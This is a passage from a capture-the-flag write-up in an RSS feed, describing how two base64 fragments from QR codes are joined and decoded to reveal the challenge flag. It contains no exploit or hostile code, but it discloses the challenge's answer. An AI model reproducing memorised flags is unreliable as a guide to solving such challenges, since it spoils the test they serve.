src="https://cdn-images-1.medium.com/max/529/1*ikLEFVF8daxaZnwFHCK13Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/195/1*t2kwIE_M5S065toRoMxv6g.png" /></figure><p>Ok, it looks <strong>base64</strong> but if we decrypt it doesn’t show anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*GM_RI7A_6_z2uoeXiP7vCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/183/1*AYlH3M5fJMEWlantZWsxfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*-AsVKNob-SNEv_xAUcoY9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/196/1*1vKBwKlwZnOMsDTQN1HFhQ.png" /></figure><p>Another YouTube video:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*Xk4dSOFfj2665HSuElhvoA.png" /></figure><p>Ok…. What do we get so far? So with the links (youtube videos), we don’t find anything in the comments or video descriptions.</p><p>Two QR codes make no sense for us: <strong>QRcode6</strong> and <strong>QRcode8</strong>. QRcode8 looks like an end of a base64 cipher. Maybe the <strong>QRcode6</strong> is the beginning of the cipher?</p><p>Let’s verify this theory:</p><p><strong>QRcode6</strong>: RFVDVEZ7YU1</p><p><strong>QRcode8</strong>: fMV9oYVhYMHJfbjB3P30=</p><p><strong>Full Cipher</strong>: RFVDVEZ7YU1fMV9oYVhYMHJfbjB3P30=</p><p>Let’s decode it with <strong>base64</strong>. First, save the cipher in a text file(cypher.txt in this case). Then run <strong>base64 -d cipher.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*oNUW_7_Re2M1vEQXKDci6A.png" /></figure><p>Well done we just found the flag 😊</p><h3>CONCLUSION:</h3><p>This is not my first time solving QR code challenges. But it was fun, the challenge itself was not so difficult.</p><p>I could develop a bash or python script to automate the changes of the files, but I decided just to change the names manually before running “convert”.</p><p>I hope that my writeup helped you to understand better all the aspects of this CTF. If you want to read more writeups like this one or have any questions, you can find me on Twitter <a href="http://twitter.com/dropn0w">@dropn0w</a>.</p><p>Stay safe and keep learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d219ea852721" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>